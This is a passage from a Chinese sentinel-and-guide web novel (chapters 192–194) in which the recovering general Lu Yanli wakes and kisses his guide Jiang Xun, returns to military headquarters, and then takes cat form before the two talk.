“嗯……这两天，陆少将体内残留的病毒已经不再发生性质变化了，今天如果检测结果依然和昨天的相同，那后续就不必再更改解毒剂的配方了。” 江寻刚刚配合两位医师完成了今天的例行采样工作，尼克斯便看着手上的数据板说道，“他苏醒的时间应该就在这一两天了。”尼克斯补充道。 闻听此言，江寻脸上顿时露出了笑意。 投桃报李地，他就要应下另一组医师的请求前往隔壁的实验室帮忙。可刚转过身，一阵极其细微的布料摩擦声就传入了耳中。紧接着，便感觉衣角被轻轻拉扯了一下。 江寻脚步一顿，惊讶地回头，便见身后躺在病床上的人正缓缓睁开双眼，露出那双仍然带着些迷茫与混沌的翠色眸子。 陆厌离感觉自己似乎一直在无边的黑暗与痛苦中沉浮着，四周混混沌沌不辨前后。他的意识也似是被打碎了一般，在无知无觉中随波逐流地四处飘散。 却不知从何时起，这冰冷黑暗的空间中漫起了一股令他十分熟悉又倍感安心的气息。被打碎的意识被这股气息一片片找回，温柔地包裹在了一起，便如他被对方亲手拼凑又细心地呵护在怀抱里。 这样的怀抱是那么温暖又坚不可摧，为他驱散了周身的一切酷冷与痛楚，让他疲惫的灵魂得以喘息休憩。 渐渐地，混沌与苦痛失去了薪柴，无以为继，缓缓散去，而他的意识也在迷蒙中慢慢甦醒。他几乎是迫不及待地想要睁开眼睛，去好好看看那熟悉气息的来源，却突然在刚才，感受到这道围绕在他身边的气息，似乎想要抽离。 一种源自本能的恐慌来袭，他几乎是下意识地想要留下它，于是用尽了全力让自己重新驱动起身体，循着那即将远去的气息伸出了手，挣扎着睁开如有千斤重的眼皮，紧紧抓住那抹让他依恋不已的温暖。 “……别走……”他使尽了力气，也只能模糊地喃喃出声，身上所有的力气都被他用在了握得发白的手指上，连启唇都没有更多的力气。 江寻双目浮现惊喜的光芒，立刻止住了脚步。此时他哪里还顾得上什么实验研究，马上返身一步跨至陆厌离床前，撑上他的床头俯下身看向他，轻声唤道：“陆厌离？你醒了？” 他靠得很近，说话间吞吐的热气拂过陆厌离的脸颊，那熟悉的气息，与从心底生出的渴望，令仍然意识朦胧的陆厌离马上激动了起来。 眼前的人似乎在说着什么话，可陆厌离听不清。他只知道那道令他熟悉眷恋的气息又重新回到了他身边，却不像之前那样围绕住他，只在他面前隔着一段距离徘徊着。 他从心底里急切了起来，此时又有几幅模模糊糊的画面从心头一闪而过，强烈的不安感袭来，惶恐与害怕的驱动下，身体里像是忽然注入了一股力气，让他颤抖着抬起了手，向着他的渴望伸了过去。 江寻只见躺在床上的人嘴里不住嗫嚅着什么，可似乎是刚刚醒来还没有力气，声音小得如同蚊讷般模糊。江寻下意识地再次凑近，想要听清，身下的人却不知从哪来的力气，连眼睛都还没睁开，便一把抬起胳膊颤颤巍巍搭上了他的后颈，像是使出了全身的力气一般把他向下拉去。 这个姿势令江寻有些别扭，迟疑了片刻想要调整下动作。可他这一迟疑，却令身下的人更加急切起来，口中断续出声：“……别……离开我……别走……” 后颈上传来的力气更大，江寻一时不察竟被他拉得一下失去了平衡，踉跄一下直接跌了下去。 一感受到他的靠近，冰凉的面孔便急切地贴了上来，一下啄吻在他的唇边，不等他反应过来，更多的亲吻便如急雨般一下下落在了他的脸上。 江寻被他这突如其来的热情弄得一怔，反应过来之后又觉有些脸热。两人突破到亲吻这个距离似乎还没两天，陆厌离便应征离开了。到现在为止恍惚间便是将近一个月过去，他几乎已经忘记了这样亲近的感觉。 这一下光天化日下的突然袭击，令他在不好意思之余，迅速回忆起了这种亲密的感觉。看着陆厌离使劲睁眼试图看清他的急切，感受到蹭上脸庞的嘴唇微微的干涸与颤抖，心中一下子软了下来。情不自禁地抬手抚上对方的颅顶，带着安抚的意味，一下下顺着他的头发，温和地劝慰起来：“别急，我在呢……我不走，我就在这里。” 可怀里的人似乎全然没有听到他的话，见他没有反抗，反而更加过分地仰起了头，向着声音传来的方向直接吻了上去。江寻被他一下子堵住了嘴，劝慰的话语戛然而止。 “等……”江寻哭笑不得地感受着来自唇上的笨拙啃咬，“等等……陆，唔……陆厌离……”急切地深入探寻，令江寻语不成句。 江寻无奈地等待了片刻想等他彻底清醒过来，对方却埋头苦干毫无停下的意思，江寻头痛地推了推他，试图让他先松开自己，可他的推拒却似乎让对方误解了，半睁开的双眸中瞬间漫上了委屈的湿意，双臂紧抱的力量更大，亲吻中漏出来的声音里都带上了哽咽的哭腔：“别……别推开我……江寻……” 这副神志不清却一直拉着他固执痴缠的模样，令江寻又是好气又是好笑，无奈地放任他又黏黏腻腻地亲了半天，却见他毫无清醒过来的迹象。终于没好气地伸手，一把抓住了他脑后的灰发，不轻不重地向后一拽，迫使他仰起了头，“啵”的一声之后，这才脱离了那个黏糊的亲吻。 “陆厌离！你醒醒！”晃了晃手中抓着的脑袋，江寻低呼道。 见对方眼珠动了动，却还是吞咽着口水，使劲向他的方向用力靠近过来的模样，终于忍不住提高了一些声音：“江栖树！” 这个久未听到的名字，终于劈开了陆厌离脑海中的迷蒙混沌，让他慢慢清醒了过来。 他剧烈地喘息起来，碧绿瞳孔猛地一缩而后缓缓聚焦有了神光，来不及吞咽的口水在喘息间溢出了一些湿润了唇角，而后，眼神终于恢复了清明。他迷茫着看向面前的人，哑着声音开口，声音里带着些一戳就破的脆弱：“……江寻？” 见他终于清醒了过来，江寻不自禁地心头一软，低低应了一声“嗯”。而后手下松了开来，改抓为捧，手掌下移轻轻托起了他的后脑。看了看他的模样，拇指向上一抹，将他溢到下巴上的涎液重新抹回了嘴唇上细细推开。 看到江寻的动作，陆厌离丝毫反抗的意思也没有，反而乖巧地微启了唇轻轻衔住了江寻的手指。 指尖传来润泽的触感，江寻原本温柔轻缓的眼神倏然深邃，手上的动作停了下来。 感受到江寻的停顿，陆厌离疑惑地抬眼看去，却被江寻骤然深沉的目光所摄，从脊椎里生出一个激灵，整个身子都跟着颤了颤。 这一个颤抖，却像是更加刺激到了江寻，另一手也毫不客气地揽上了陆厌离腰间，随着一声轻呼便把人完全扯进了怀里。托着后脑的手掌一倾，下巴便被扬了起来。 随后，江寻露出一个满足的笑意，毫不犹豫地亲了下去。 这个吻可与陆厌离刚才意识模糊下那胡乱的啄吻完全不同。 一时之间，陆厌离只觉所有的呼吸都被对方所摄，全身都失去了反抗的力气，仅凭一双手臂软软搭在江寻的脖子上支撑着身体。眸中水光更盛，身后的手臂压制着他紧贴上身前的人，丝毫动弹不得，只能无助地仰起脸张着嘴，任由对方肆虐。可这全身被控的感觉，却又让他心底滋生出巨大的安全感来，激动地浑身轻颤。 久久，空气中只余急促的呼吸声、闷哼低吟声以及啧啧声。 直到漫上心头的那一股冲动被发泄了出去，江寻这才松了手，动作间不再急切。却还是与被他完全抱进怀里的人额头贴着额头，鼻尖顶着鼻尖，温柔轻吻着。 这个激烈的吻如同最好的安抚剂，让陆厌离的心彻底安定了下来。他不自觉地像猫咪一样轻轻用侧脸蹭着江寻的手心，手臂依旧松松地环着对方的脖子，舍不得放开。 “咳咳。”一声刻意的咳嗽声从身后传来。 沉浸在亲密中的两人同时一怔，转头望去。 却见阿克塞尔不知何时来了，正双臂抱胸懒洋洋地倚靠在门框上，对于打断两人的柔情蜜意毫无愧意，脸上带着毫不掩饰的揶揄笑容，玩味地在他们两人之间来回扫视。 陆厌离脸上瞬间爆红，虽然他已经对这位友人透露过自己与江寻之间的关系，可当面让熟悉的人看到自己这般模样，还是让他羞赧到了极致。 可让他放手也舍不得，只能不自在地别开脸躲进江寻的怀里，露在外面的耳朵却瞬间红得滴血。 江寻心中也略有些尴尬，面上却丝毫没表现出来，手下为陆厌离整理了一下被挤皱的衣服，才对着阿克塞尔点了点头：“阿克塞尔阁下。” 见两人这番完全不同的反应，阿克塞尔眉头一挑，更加意味深长地笑了笑，却没说什么。 江寻一下子明白了对方的意思，也没问太多，笑了笑说道：“古德里安医师那边还找我去帮忙呢，还有厌离醒来的消息，也要去报告给尼克斯组长他们。我先失陪了，你们聊。” 说完，他顺势轻推了推还埋在自己怀里的人，安抚地拍了拍他的手背，又细心地挡住阿克塞尔的视线，为陆厌离擦干眼角的湿意，唇畔的水渍，这才站起身来，最后向着阿克塞尔点了点头，离开了监护室，将空间完全留给了这对好友—— 作者有话说：哎，到底哪里通不过审核啊，就亲了一下。快200章了，我的主角两人就到亲吻这一步，还不够纯洁吗？ 第193章 阿克塞尔目送着江寻离开， 这才慢悠悠地踱步走到陆厌离的病床前，抱着手臂居高临下地看着自己这个对手兼友人。 此刻的他哪还有一丝“陆少将”的威风，脸上的红晕还未完全消退下去， 眼睛还紧紧追着门外那个快要看不见的人影。 阿克塞尔嘴角勾起一抹戏谑的弧度：“没想到我们的陆少将，追起向导来居然这么热情奔放，这要是让那些被你抓进联盟监狱的死对头们看到，恐怕要笑掉他们的大牙了。” 陆厌离轻咳一声， 有点窘迫地往上拉了拉被子， 试图在自己这个战友面前遮掩一些尴尬， 可说话时，口中还未咽下的口水却让普通的话语都显得黏腻腻的：“……闭嘴， 阿克塞尔。” 阿克塞尔轻笑一声，知道面前这个大少爷从小生活环境单纯，不像自己军团里那些老油条一样荤素不忌， 口无遮拦。说了这么一句就没再继续打趣， 神色稍微正经了些。伸腿勾过一边的椅子坐了下来，便说起来今天过来的正事：“行了，今天过来有事要和你说。” 看到陆厌离也收敛了神色认真看了过来， 才接着说道：“这两天我和威尔逊将军一起， 把你这次任务背后的推手好好调查了一番。你猜我发现了谁？” “……伊莱·凡纳？”陆厌离说出了自己的猜测。 阿克塞尔惊讶地眉毛一挑：“原来你自己心里有数啊。对， 就是凡纳家。” 听到自己的猜测被证实， 陆厌离眼神一凝， 一双绿碧色眼眸骤然锐利起来。 “虽然抓到了点凡纳的马脚， 但没有切实的证据。只追溯到凡纳家名下的一个基金会对那个‘创生科技’的几笔赞助和几个看起来很合理的合同。” 阿克塞尔耸了耸肩， 嘲讽地笑了一声：“没有任何直接的证据与资金往来记录能证明这次的事件是伊莱指使的，也没法证明创生科技的研究所在边缘星系里研究违禁的高危生化病毒，和他们有任何关系。只是商务合作这种间接联系的话， 以凡纳家的体量，想把自己摘出来容易得很。就连最高主脑跳过军部直接给你指派任务的事，也已经有人主动站出来背了锅。呵！世家！” 陆厌离叹了口气，点了点头，对这个结果并不意外：“我猜到了，以伊莱做事的习惯，不可能留下什么明显的把柄。” “不过还是有些好消息的。”阿克塞尔面色好了些，继续道，“不管能不能把凡纳家拉下水，这个‘创生科技’这次肯定是完了。研究生化病毒挟持整个星球的人，还煽动民众公然袭击军部，这样的事件性质太恶劣了，上面那几位大佬不可能忍得下来。这次就算不能从明面上收拾凡纳家，背地里肯定也要他们付出很大的代价才能平息几位大佬的怒火。” “那也不错，”陆厌离应道，“这个‘创生科技’潜伏在M94星系也好多年了，应该也算是他的一招暗棋，这次能把它连根拔起，也算是斩断了他一条隐藏起来的臂助。” “你能想通就好。”阿克塞尔话落站起了身，随手拍了拍裤子抚平褶皱，“那到这儿，我这次的任务就算是彻底完成了。现在你这家伙好好醒过来了，身边也有可心人照顾，我也不在这儿碍你们的眼了。” 他嫌弃地做了个牙酸的表情：“懒得看你们腻歪，我就先回第九军团了。” “这次多谢你了，阿克塞尔。”陆厌离点了点头，认真地向自己这个朋友道谢。见他一副不以为意，转身就要走的样子，忍不住又叫住了他，“等等……” 阿克塞尔闻声回头，陆厌离迟疑了下，想到与江寻在一起时感受到的安静平和，由衷地劝道：“阿克塞尔，向导的事……你再考虑考虑吧。你看，有的时候，有个向导并不是坏事，你总该给自己一个机会。” 阿克塞尔闻言，像是听到了什么好笑的事情，嗤笑出声，微微转过身来，用手指点了点自己的太阳穴，一双金眸锐利有神，身子一震，火焰般蓬勃的精神力便从他周身倏地燃起：“你看看我现在，像是缺人疏导的样子吗？” 陆厌离眼前一花，那爆炎般的精神力就熊熊燃烧在了自己面前，庞大饱满的精神力，内里却毫无躁动混乱之感，反而生机勃勃。他惊讶地看向阿克塞尔，脸上露出一个由衷喜悦的笑容来：“你也找到向导了？” “嗯哼！”阿克塞尔扬了扬下巴，脸上带出几分得意，“老子这速度，还能比你慢？” 他说着，故意上下打量了一圈陆厌离，表情夸张，嘴上揶揄道：“看你们刚才那纯情劲儿，撑死了也就刚到亲嘴儿的地步吧？老子可早就把人吃到嘴里了，你还是多为你自己操操心吧！” 说完，他哈哈大笑一声，红发一甩，转身冲着陆厌离随意地挥了挥手，便潇洒地大步离开了病房。 * 陆厌离伤情的痊愈速度，在他清醒之后，迎来了大幅步的提升。 在强大的精神力作用下，S级哨兵的身体素质开始发挥出它的作用，他的自愈力、抵抗力全面增强，受损的身体被飞速修复起来。 不过两三日时间，病毒就几乎彻底失去了威胁性。 在他清醒过来以后，江寻也不再需要动用自身的精神力去压制他的防御力场完成采样。虽然陆厌离心底万分不舍，恨不得江寻每天都陪在他身边，可他也清楚江寻对自己的学业与事业的认真，最终还是主动让江寻销假，返回圣所继续学业了。 江寻知道陆厌离是比自己还要有责任心的一个人，见这里的确也没有必须留下的理由了，便点头应下，重回了圣所。 自那之后，江寻便开始了来回奔波的生活。白天在圣所中认真上课，傍晚下课后就会准时出现在愈灵殿里。在陪伴陆厌离之余，也会应医疗小组中其他医师的请求，协助他们完成一些高精尖、高强度的精神力实验。 时间倏忽来去，转眼又是一个星期。 随着“滴”一声仪器停止运转的提示音，陆厌离推开面前的舱盖翻身而出。随着尼克斯的几下操作，操作台侧面开始打印出检测报告来。 尼克斯翻阅着手上已经没有标红数据的检测报告，不由感慨出声：“不愧是S级哨兵，身体素质太好了，从这报告上看，你除了精神力储备上还需要一些时间来恢复到巅峰，身体其他方面已经没有大碍了。”说着，对陆厌离挤了挤眼，“以夏因阁下对你的爱护，想来精神力方面也用不着我们操心。” 陆厌离有些不好意思地摸了摸鼻子，尽管距离两人在愈灵殿里公开关系，已经过去了这么多天，被认识的人这样调侃，还是让他有些不自在。 “看样子，再修养上几天你就可以完全痊愈出院了。”尼克斯翻完了最后一页报告，总结道。 听到尼克斯的话，陆厌离却迟疑了一下。 这几天里，白天一直见不到江寻，他之前偶然在终端上看到的那条花边新闻就总会浮现在他心头。 他也趁着江寻不在的时候，偷偷去了解过那条新闻的来龙去脉，搞明白了伊莱在他不在的时候都做了些什么。 明明知道那些新闻都是在捕风捉影，他也完全信任江寻，可他还是抑制不住心中涌起的阵阵焦躁情绪，想要时时刻刻守在江寻的身边，让他免遭觊觎。 于是，此刻听到尼克斯说他身上的伤势已经没有大碍，心中便意动了起来。 “尼克斯医生，既然我的身体已经没有大碍了，那我能不能提前出院呢？” * 陆厌离驾驶着悬浮车，向着军部行政大楼的方向驰去。 得到了医疗组长的准许后，他马上利落地办理好了出院手续，便离开了愈灵殿。 本想直接去找江寻，可看看这会儿离他的下课时间还早，陆厌离便驱车驶向了军部大楼。这次任务回来他便直接住进了愈灵殿，连任务报告都是阿克塞尔代他提交的，后续的任务情况他也没有了解，正好趁这会儿有空，便决定先去军部那边为这次的事件收个尾。 要去军部，他自然换回了常穿的那身纯黑军服，身上依然像以前一样毫无配饰，连他的S级剑徽都没戴，只有肩上那颗金光闪闪的将星为这身肃杀的军服增添了一抹别样的风采。 面上惯常的冷淡神色取代了在江寻面前才会露出的柔软笑意，陆厌离又恢复成了那位令人敬畏的联盟少将模样。 悬浮车一路疾驰，直入军部行政大楼前的停车坪。当这辆刻印着特殊编号的悬浮车降落下来时，顿时引起一阵细微的骚动。 下了车子，陆厌离一路径直走向第八军团总部。 此时临近年底，往来述职的士兵军官们很是不少，但无论他们是什么职位什么军衔，遇到陆厌离时，都会纷纷停下脚步，恭敬地行礼。 这里是最最公平的地方，在这些真正的战士们眼中，家世地位、相貌钱财统统都是虚的，获得尊敬的唯一标准便是强大的实力与卓越的贡献。 毫无疑问，在这两项上都冠绝全军的陆厌离，便是所有战士们心中最闪耀的那颗明星。 陆厌离一路脚步不停地走向自己的办公室里，而提前接到了通知的副官与几名参谋官也已经提前等候在了这里。 “将军！”一进门，塞西尔便带领着几位参谋官迎了上来，简单的互相见礼过后，陆厌离就迅速进入了工作状态。 “第九师最近有什么情况吗？”陆厌离首先过问了他在第八军团中的嫡系部队。自之前的M85星系远征战役之后，第九师便没有接到新的命令，一直处于日常战备状态。 “报告将军，第九师一切正常。”塞西尔忙答道。 “嗯，快到年底了，记得安排好各小队的轮休。”陆厌离想起这回事，叮嘱道。 “是！” “嗯，上次任务的收尾处理得如何了？军部的评定结果都出来了吧？”陆厌离问起这次过来的主要目的。 闻言，塞西尔忙将几份文件和报告递到了陆厌离面前，几位参谋官也开始汇报起来。 “将军，这是绿洲星事件的最终伤亡报告和物资损耗清单。” “这份是参与评定的各部门及人员功绩评定意见表，请您过目。” “陆少将，联盟商业调查组已经正式介入调查此次重大公共安全事件，这一份是昨天同步过来的文件，是这次任务中的主要责任方‘创生科技’的资产清算表。” 听着简短的汇报说明，陆厌离的目光快速扫过手中文件，一边仔细翻阅着详细的文书记录，一边快速地下达着指令。 “这次绿洲星分部中的三支行动小队表现都不错，嗯……一共只有五人受伤，无人死亡。给三支小队的队长今年考评分每人加二十分。” “蕾拉中校和严新雪上尉，在本次事件中临危不乱，能力卓绝，予以全军表扬，并分别记二等功、三等功。向总部发放推荐函，推荐严新雪上尉晋少校衔。” “军部调查清楚了吗？这次支援迟缓问题出在通讯组还是支援组？……好，你继续跟进这件事，务必揪出内部的毒瘤。” 进入了工作状态的陆厌离，没有多余的情绪，下达起命令来简洁高效，在他住院的这段时间里积压下来的文件被快速处理着。 与此同时，圣所这边，江寻下午大课的导师临时请假，今日的课程提前结束。他如同往常一般前来愈灵殿陪陆厌离，却只看到了一张空床，得到了一个他已提前出院的消息。 “去了军部……” 江寻信步走出愈灵殿大门，站在门口有些犹豫。 虽然刚才听尼克斯医师说了陆厌离的身体已无大碍，但想到他才刚刚出院就立刻投入了工作之中，心里还是有些担心。但要说去军部看看……这样不请自来地去他的工作场合，会不会妨碍到他呢？ 江寻思忖了半天，最终还是心中对陆厌离的担忧占了上风。 就去确定一下他的状况，如果真的没事就回家。他这样对自己说。 做出了决定，江寻便马上登上了一辆公共悬浮车，向着军部行政中心的方向驶去。 * 江寻抬头看向面前的军部行政大楼，说是大楼，实际上是一片由空中走廊连接在一起的，完全现代化的建筑群。 周围身着不同颜色军装、佩着不同军团符号的士兵们步履匆匆，每每路过身着一身格格不入的白色向导学院制服的江寻时，都会好奇地打量几眼。 江寻在门口稍作停留观察了片刻，待看到一位一身便装的年轻女孩在门口登记了一下便被礼貌地带了进去，这才学着她的样子，同样来到了那处值守的士兵面前。 “你好，请问这里可以探访吗？”江寻礼貌地询问道。 “当然，”这位年轻的士兵，打量着江寻的目光中充满了好奇，“不过需要登记并确认身份，请问您要找谁？” 在军部服役的哨兵相比于世家或塔中的哨兵，都要更难获得向导的青睐。一般遇到这种情况，不仅没人会去为难，大家还会或多或少地照顾一下。表现在现实情况里便是，向导探访时一般不需要提前预约或者报备，登记一下身份信息并确认此人提供的信息是真的就行了。像江寻这样直接穿着向导学院的制服来的，还会获得一些格外的关照。 “我来找第八军团的陆厌离少将。” 江寻平平常常的一句话说出口，却引得附近几个路过的士兵全都看了过来，目光中有着好奇，又有着探究。连另一边目不斜视伫立在岗哨中的卫兵，都若有似无地将目光扫了过来。 行政大楼这里不比军事基地，保密等级并不算太高，平日里也时常有向导来访。大家都心照不宣，这通常都是来找自家哨兵的。但目标是他们那位向来性子淡漠，不喜交际的陆少将，这还是头一遭。 森严的纪律压制了众人的议论，却止不住偷偷打量过来的目光，不过这样的目光，与江寻在圣所中经常遭遇到的那种却很是不同。江寻能明显地感觉到，这里的士兵们看过来的视线里，只有纯粹的好奇，没有那许多鬼蜮心思。 负责登记的士兵显然也意外了一下，但反应过来之后，态度却更加客气恭敬了，隐隐地，还能感觉到其中透出的一份热络来。 “好的！请您登记一下身份信息。”士兵快速取出了一页表格递给江寻。上面只是些简单的基础信息，登记好后，士兵现场上传，确定了江寻的身份后，脸上马上露出一个真实的灿烂笑容，伸手向前一引，“身份信息已确认，夏因先生，请跟我来，我先带您去休息室等候，我们马上去通知陆少将。” 江寻点了点头，有些拘谨地跟着这名守卫走进了楼群内部。 这里整个建筑群的面积极大，外表看来十分现代化，干道上宽敞明亮，墙壁横平竖直，每一道轮廓线条都简洁而冷硬，展现出一种秩序的美感。 行走在其中的军人们，周身气质也与旁人大为不同，整个军部大楼，给了江寻一种完全不同的感觉。 第八军团总部位于楼群靠后方的位置，楼层高度不高，占地面积却比周围的几栋大楼都要大一些。江寻刚刚跟随着引路的守卫乘坐升降梯到了三楼，便听到旁边一间敞开着窗户的办公室中，传出了一个熟悉的清晰冷冽声音——正是他要找的陆厌离。 “……绿洲星现任总督，玩忽职守、渎职，在明确知晓‘创生科技’实验室实为恐怖分子，且正在研究生化病毒的情况下，不但没有履行自己的职责将其铲除，反而滥用职权协助恐怖分子，欺骗治安军阻挠军部执法。后又与恐怖分子沆瀣一气，造成重大公共安全事件。其行为极端恶劣，已构成严重渎职罪、危害公共安全罪等数项重大罪责。证据链完整，人证物证俱在，必须从严从重处罚，以儆效尤！” 江寻的步伐慢了下来，有些惊讶地透过窗户，看向这个与他平日里所见完全不一样的陆厌离。 此刻的陆厌离语气平静，却带着一种不容置疑的力量，有理有据、掷地有声，充满了权威与说服力。与他平时在江寻面前柔软又带着十足亲昵依赖的语调截然不同。 看到这样的他，江寻才恍然意识到，自己面前的人真的是一位荣耀的实权者，手握重权的联盟利刃，铁血猛将。 这是一个江寻从未见过的陆厌离。 突然，他的视线似乎被房中人觉察到了。 办公室中的谈话声戛然而止，那个正对着终端对面的上级做着任务汇报的陆厌离，猛地转过头来，目光锐利地直射过来，却一下子对上了正用些许陌生和惊讶的目光看着他的江寻。 四目相对的瞬间，陆厌离脸上的那层冷硬表情瞬间瓦解，转变成了十足的茫然，似乎是完全没有想到江寻怎么会在这时出现在他的面前。 随即，他马上捕捉到了江寻看向他的目光中流露出的那股陌生感，眼中立刻闪过了一丝慌乱。 他几乎是下意识地扭头，对着腕上的终端低声说了些什么，便直接切断了通讯，转身向着门口走来。 几步来到江寻面前，一把拉住还有些没回过神来的江寻的手腕，下意识地扬起了那个在他面前惯常露出的温软笑容：“你怎么来了？” “呃……”江寻被他这番快速变脸惊到，看着他的这副模样，一双眼睛中带上了一点探究，“我听愈灵殿的医师说你提前出院了，来看看你怎么样。” “我很好呀。不过正好，我今天的工作也做完了，我们一起回家去。”陆厌离迅速避开了江寻的目光，几乎是半拉着江寻，转身就朝着走廊另一端的停车坪走去，动作间，透出些不愿面对的仓促逃避。 江寻看着陆厌离这奇怪的反应，被他拉着步步向前走着，目光中若有所思。 原地只留下那名带领着江寻一路前来的传令兵，看着那位鼎鼎大名的陆将军在这位向导面前瞬间变化的表情，脸上写满了难以置信的惊愕，久久没能回过神来。 第194章 陆厌离心乱如麻， 一路上紧紧握着江寻的手腕，却不敢回头去看他，江寻刚才在军部露出的那个陌生又带着探究的眼神， 在他的脑海里反复浮现，让他的心揪成一团。 拉着江寻一路埋头往前走，连周围路过的士兵对他行礼，都让他感觉到忐忑， 只匆匆点头便带着江寻上了悬浮车， 几乎是逃离般将他带离了军部大楼。 “被他看到了那副与‘小树’完全不同的样子……他会怎么想？”陆厌离忍不住在心中生出这样的疑问， 却连问出口的勇气都没有。 驶向江寻公寓的路上，陆厌离一直沉默不语， 心中却翻江倒海。 他忍不住地想起前几天在推送新闻上看到的画面。 伊莱正风度翩翩地与江寻同坐在豪华的餐厅里，他看上去是那么自信傲人，优雅得体， 正是所有向导们最欣赏的那种能力强大， 又成熟稳重的哨兵。 虽然伊莱在上一次任务中对他下了黑手，但他不得不承认一个事实：伊莱·凡纳确实是如今整个联盟年轻一代中，最出色的那个哨兵。 而最让他不甘的是， 连他自己都觉得， 对方才是与江寻最为相配的那个人。 虽然自己和对方一样出生世家， 可两人之间的差距几如云泥。 对方是联盟最强家族的长子嫡孙， 名正言顺的第一继承人， 从出生起就立于万万人之上。而自己， 名义上是陆家的三少爷， 实际上只是一个私生子。若不是幸运地拥有了S级哨兵的潜力，陆家根本都不会承认他的身份。 伊莱从小到大要什么有什么，享受着最好的教育， 最充沛的资源。只要他愿意，随时都能给江寻最好的一切。而自己呢？连个正常的成长环境都没有，除了打仗和执行任务，他对其他的一切事物几乎一无所知，连正常的生活、人际交往都不甚熟悉，还要江寻反过来一直照顾着他。 自己唯一能与伊莱相比的，大概就只有哨兵等级了。可江寻却是比S级哨兵更加珍贵的S级向导，自己这点实力根本帮不上他什么忙，还老是受伤，反过来要江寻来救自己。 这场对江寻的竞争，便如一场残酷的洪水。 伊莱所拥有的一切，为他轻易构建出了一艘结实坚固的大船，他只要优雅地，毫不费力地坐在船上等着，就能看着洪水把其他竞争者全部冲走。 而他自己，手里只有一根浮木，他必须要狼狈地，拼尽全力地紧紧抓住这根浮木，才能勉强在这汹涌的浪潮中继续坚持下去。 这根浮木，就是他幸运地以“小树”的身份，与江寻建立起来的情感联系。是他通过欺骗才偷得的一点宠爱与怜惜。 他不敢想象，如果有一天他连这根“浮木”也丢失了，还能靠什么在这场“洪流”中继续坚持下去。 脑海中纷乱的思绪令陆厌离几乎连强颜欢笑都做不到，手指不自觉地攥紧，额头上冒出细密的汗珠。他忍不住用余光去偷偷观察江寻的表情，生怕在那张熟悉的脸上看到一丝不虞。 江寻今天没打招呼就前去陆厌离工作的地方探望，本来就担心自己会影响到他的工作。结果一过去刚见到对方，连话都没好好说上一句，就被陆厌离拽着离开了军部，一时之间，心中也有些嘀咕，是不是自己的举动打扰到了他。 可坐上悬浮车后，从对方身上隐隐传来的不安与忐忑，还有发白的面色与冒出的冷汗，却让他转移了注意力，开始担心起陆厌离的身体状况。 他担忧地侧过头，却发现对方刻意避开了他的目光。 江寻微微蹙眉，不由分说地握上了陆厌离的手。果然，连指尖都冰凉冰凉的。他忍不住捏住那只手包在掌心里温暖着，担心地问道：“你怎么了？是不是出院太仓促，又有哪里不舒服？” 陆厌离猛地摇头，却依然不敢看江寻的眼睛。只是紧紧回握住了江寻向他伸出的手，嘴唇动了动，最后还是把那些连他自己都理不清的念头，咽了回去。 直到悬浮车停在公寓楼下，回到家关上了大门，陆厌离心中才有了稍许安全感，松了口气。可那只一路紧握着的手依然没有松开。 江寻皱眉看向面前这个一路拉着他回了家的人，实在觉得他今天的表现很反常。他狐疑地打量着陆厌离，心中数种猜测划过，手上用力，想要把他拉过来问个清楚。却见面前的人把头一扭，避开了自己的目光，接着，周身突然爆发出一阵剧烈的精神波动。 下一秒，他手中一空，眼前高大的人影瞬间崩解，迅速缩小。一只毛茸茸的灰猫踩着一地的衣服出现在他眼前，正是他熟悉无比的“小树”模样。 猫猫的身影甫一出现就仰起了头，用那双翠绿欲滴的眸子望向他，长长地喵呜了一声。然后脚步轻巧地走到他脚边，把脑袋小心翼翼地蹭上他的裤脚，喉咙里发出声声细细软软，带着点委屈的呼噜声。 见江寻没有马上反应，反而皱起了眉头看向他，他似乎更慌了。无措地原地转了两圈，居然直接原地躺倒，枕上江寻的脚背，对着他露出自己柔软脆弱的肚腹，湿漉漉的眼睛期盼地望着他，口中发出一声声讨好般的细软叫声。 “陆厌离，你……”江寻看着脚下努力地撒着娇讨好他的猫猫，心里有些不是滋味。迟疑了片刻，还是蹲下身去。 猫猫见到江寻的动作，却似是受到了鼓励，连身后毛茸茸的大尾巴都使劲儿地晃动了起来，甚至向着江寻伸出爪子，轻轻勾住江寻的手，把它往自己的肚子上拉扯，示意让他来摸自己。见江寻还是没有动作，他急得耳朵都耷拉了下来，发出一声声带着颤音的喵呜。 想到刚才自己在军部里看到的那位冷峻威严的陆少将，再对比刚才回家的一路上，陆厌离异常的表现，看着如今躺在自己脚下急切地讨好他的猫猫，江寻心中生出了一些明悟。 他看着面前卖力邀宠的猫猫，没有立刻去揉弄那柔软的肚皮，而是伸出了双手，温柔又坚定地将小树整个抱进了怀里。 猫猫软软的叫声突地停了一下，又马上恢复了过来，拖起一个更加绵软的长音。身子也顺势依偎进了江寻怀里，熟练地扒着他的衣襟爬上去，把脑袋埋进江寻的颈窝里，轻轻舔了舔他的下巴。 江寻没有去制止他，却也没有顺势和他玩耍起来，而是稳稳地抱着他走到沙发边坐下，把他从自己身上拉开放在腿上，轻轻托起了他的下巴，对视上那双闪烁不定的翠绿眼眸。 “陆厌离，”江寻的声音格外平静，还带着一种不容置疑的认真，“我们需要好好谈谈。” 就这么简单的一句话，却令他腿上的灰猫明显地瑟缩了一下，耳朵向后一撇压成了飞机耳，四肢不安地挣了挣，似是想从他怀里逃跑。连尾巴都从江寻手臂上松了开来，整个身子都在绷紧蓄力。 可江寻这一次没有纵容他，一看到他的动作，马上收紧了手臂，将这只关键时刻总想逃避的猫咪牢牢圈在了怀里，语气罕见地带上了一分强硬：“不准跑。” 这一声，果然成功的让怀里的猫猫停下了动作，可他的眼眸中却浮现了越来越不安的情绪。 江寻轻叹口气，低下了头来凑近，轻轻抚摸几下猫猫毛茸茸的额头，不容逃避地对上那双因为紧张已经开始不自觉缩小的瞳孔，一字一句地认真道：“陆厌离，你就不想知道……我对你究竟是什么想法吗？” 猫猫的瞳孔猛地一缩，而后彻底不动了。他的呼吸变得急促，胸膛开始剧烈起伏，像是在进行某种艰难的心理斗争。 过了好一会儿，才抬起那双盛满了忐忑与恐惧，却又在深处透出一丝希冀的眼眸，轻轻点了点头。 江寻抱起怀里那只不再挣扎，但身体却依然显得有些紧绷的猫猫，手指成梳抚在他的脊背上让他慢慢放松下来。 他的目光变得悠远，一旦开始回忆，往事便如潮水般涌了过来。他没有刻意去想该怎么措辞，心里的话自然而然地流淌出来。 “小树，你知道我刚刚在寂静星上认识你的时候，是怎么想的吗？”江寻轻轻笑了，“那个时候，你又凶又瘦，还整天徘徊在我身边。我就在想，怎么会有这么厉害又这么可怜的猫猫，他是不是想跟我回家？” 